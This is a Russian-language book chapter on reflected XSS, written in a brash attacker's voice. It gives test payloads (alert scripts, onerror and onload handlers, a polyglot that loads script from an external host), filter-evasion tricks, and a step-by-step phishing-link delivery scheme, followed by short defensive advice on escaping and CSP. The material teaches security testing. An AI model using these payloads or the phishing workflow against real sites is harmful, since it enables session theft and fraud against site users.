Книга: «Все об уязвимости XSS». Глава 2: Типы XSS — Знай врага в лицо 👀 • Reflected XSS (Отражённый): быстро, грязно, одноразово
Если бы XSS раздавали по типам личности, Reflected XSS был бы уличным гопником — дерзким, быстрым, но редко оставляет следы после драки. Это та атака, которую ты можешь провернуть за пару минут на любом полу-сыро написанном сайте, не беспокоясь о массовых заражениях или сложных цепочках. Раздел для тех, кто любит быстрые победы и легкую грязь на руках.
Как работает Reflected XSS
В основе механики — отражение пользовательских данных обратно в ответ страницы, без какой-либо экранизации или проверки. Ты отправляешь запрос, сайт принимает твой мусор в качестве входных данных и моментально вставляет их в HTML-разметку, JavaScript или другой чувствительный контекст страницы.
Типичный сценарий:
1. Пользователь заполняет форму (поиск, обратная связь, коммент, и т.д.) или кликает по ссылке с параметрами в URL.
2. Сервер получает параметры, решает “а почему бы не показать их прямо в исходном коде страницы — юзер же ввёл сам”.
3. Если сервер не экранирует/фильтрует ввод, браузер послушно выполняет код, отражённый в ответе.
Отсюда и “reflected” — атака срабатывает только если жертва перешла по специально сконструированной ссылке, и вредоносный payload содержится непосредственно в HTTP-запросе (URL, POST-данных, заголовке).
Примеры атаки
Обычный use case — поисковые формы:
<form>
<input type="text" name="q">
<input type="submit" value="Поиск">
</form>
Сайт по наивности выводит:
“Результаты поиска по запросу: запрос”
Адекватный URL:
`https://site.ru/search?q=hello`
Payload:
`https://site.ru/search?q=<script>alert('XSS')</script>`
И если сайт просто вставляет значение параметра `q` в HTML:
<p>Результаты поиска: <script>alert('XSS')</script></p>Всё, JavaScript выполнен.
В каких местах искать
Reflected XSS — это всегда про быстрое тестирование точек входа. Твои лучшие друзья:
• URL-параметры (GET- и POST-запросы)
• Формы обратной связи (комментарии, регистрация, авторизация)
• Заголовки HTTP (User-Agent, Referer, Origin — многие ленивые админы логируют их или показывают на странице)
• Cookies (редко, но встречается)
Чем проще сайт, тем больше шансов на успех. Корпоративные порталы, самописные CMS, публичные формы, дешёвые сервисы анализа — это идеальная жертва.
Фаст-фуд-эксплуатация
Reflected XSS хорош тем, что не требует длительного взаимодействия с системой. Тебе нужен только контролируемый запрос и жертва, которая перейдёт по твоей ссылке.
1. Готовишь payload c вредоносным JavaScript.
2. Вставляешь его в параметр (URL, POST-данные, header).
3. Формируешь фишинговую ссылку или почтовое письмо (“Посмотри результаты поиска!”).
4. Тыкаешь — и магия случается.
Атаку сложно обнаружить постфактум — всё живёт буквально секунды, никаких следов в базе данных, никакой массовой компрометации. Чисто, быстро, одноразово. Именно поэтому reflected XSS — любимое оружие phishers и мошенников.
Типовые payload’ы и трюки
Лайфхак: тебе не нужен сложный код для тестов. Начни с банального `<script>alert(1)</script>`. Если сработало — можно наращивать функционал.
Event-хендлеры: `"><img src=x onerror=alert('XSS')>`
JavaScript URI: `javascript:alert(1)`
Атрибуты: `"><svg/onload=alert('XSS')>`
Универсальные polyglots: `"><script/src=//0.nm/a>.js>`
Обфускация — отдельная тема. Иногда сайты фильтруют знакомые паттерны (например, прямые `<script>`), но забывают про нестандартные варианты:
• Base64-энкодинг
• Юникодные escape-последовательности
• Разрыв тега (`<scr<script>ipt>`)
Fuzzing и автоматизация
Ручная работа хороша для классических дыр, но надо автоматизировать процесс:
Burp Suite Intruder — засылаешь десятки тысяч payload’ов, Burp ловит успешные срабатывания.
OWASP ZAP — бесплатный инструмент, который просканирует все URL на наличие XSS.
XSS Hunter — сервис для ловли Blind XSS, но и для reflected хорош, если хочешь автоматизировать сбор payload’ов.
Вариант для ленивых — взять готовые списки из ресурсов типа PayloadAllTheThings, XSS-готовые чеклисты, интегрировать их в свой фреймворк/скрипт и просто атаковать все точки входа по кругу.
Почему reflected XSS “одноразовый”
Суть в том, что reflecting работает только при клиентском запросе и не сохраняется на сервере.
• Жертва должна перейти по вредоносной ссылке.
• Если она закроет страницу или обновит без запроса — payload исчезнет, атака не сработает.
• Сервер ничего не помнит, ничего не записывает в базу.
Защита проще — нужно просто проверять, что на выходе не выводится неэкранированный ввод пользователя. Но именно эта “мгновенность” делает reflected XSS любимым вектором для targeted phishing, email-атак, и exploitation в аутичных интеграциях (например, автоматические системы отчетности/мониторинга).
Как защищаться
Кратко: выводишь любые пользовательские данные на страницу — всегда экранируй.
• Используй функции типа `htmlspecialchars`, `escape`, или аналоги в любом фреймворке.
• Никогда не вставляй ввод пользователя в JS-контекст без strip/encode.
• Заводи баги на любое место, где пользовательский ввод отражается в ответе.
Особенно внимательно — формы поиска, параметры URL, реферы/агенты, любые callback’и.
Дополнительно: включай Content Security Policy, чтобы ограничить возможное выполнение скриптов, используешь фильтрацию на входе и выходе, не забываешь про integrity и nonce для своих JS-ресурсов.
Чеклист для поиска reflected XSS
• Пробуй отправить `<script>alert(1)</script>` через все публичные поля.
• Посмотри, где выводятся твои данные после запроса — поисковые строки, результат формы, ошибки.
• Сохрани список всех точек входа (GET-параметры, POST-поля, заголовки).
• Прогони автоматизированное тестирование через Burp/ZAP.
• Проверь, не срабатывают ли нестандартные векторы, если прямой payload не проходит.
Жизнь после reflected XSS
Reflected XSS — это базовая тренировка перед большим спортом XSS (привет, stored и DOM-based). Это самый доступный способ показать владельцам сайта, что у них не всё ок, и быстро получить признание (или вознаграждение) в Bug Bounty. Научившись искать и эксплуатировать reflected XSS, ты закладываешь фундамент для будущих сложных атак и учишься мыслить как хардкорный эксплойтер: быстро, нагло, по делу.
А в следующем разделе разбираем stored XSS — дар, который продолжает приносить зло даже после первой атаки. Готовь payload’ы!